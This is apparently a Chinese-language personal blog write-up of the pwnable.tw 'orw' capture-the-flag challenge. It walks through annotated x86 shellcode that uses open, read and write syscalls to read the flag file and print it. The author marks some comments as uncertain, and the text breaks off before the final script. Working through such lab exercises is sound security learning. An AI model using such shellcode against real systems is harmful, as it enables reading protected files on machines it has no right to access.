CTF|pwnable.tw orw writeup

pwnable.tw orw writeup shellcode的编写 呀真的好久没有写博客了,最近在做一些题,都在看别人的题解,做过也忘了,接下来希望好好记录一下,帮助自己理解。 这道题是有关shellcode的编写,这部分我之前也没学习过,都是使用机器生成的。就…结合别人的writeup 说一下自己的理解吧。 高级语言形式 char *fn = "/home/orw/flag"; sys_open(fn,0,0) sys_read(3,fn,0x30) sys_write(1,fn,0x30) 查看 linux 系统调用 获得各个函数的调用号 首先是第一部分 sys_open xor ecx,ecx ;清空ecx寄存器 mov eax,0x5;查看以上资料知道 sys_open 对应0x5 push ecx ;把一个空值压入栈中(这里不是很理解) push 0x67616c66;galf(flag) 接下来就是把字符串作为参数压入栈中 数字就是字符的ASCII码十六进制值 push 0x2f77726f; /wro (orw/) push 0x2f656d6f; /emo (ome/) push 0x682f2f2f; h/// (///h) mov ebx,esp;把内容移到ebx xor edx,edx;清空 edx int 0x80;中断 执行syscall 第二部分是sys_read mov eax,0x3;sys_read mov ecx,ebx;flag文件中的内容 mov ebx,0x3;文件描述符 mov dl,0x30;用于中断(??) int 0x80;中断 执行syscall 第三部分是sys_write mov eax,0x4;sys_write mov bl,0x1;用于中断 int 0x80 最后的脚本:...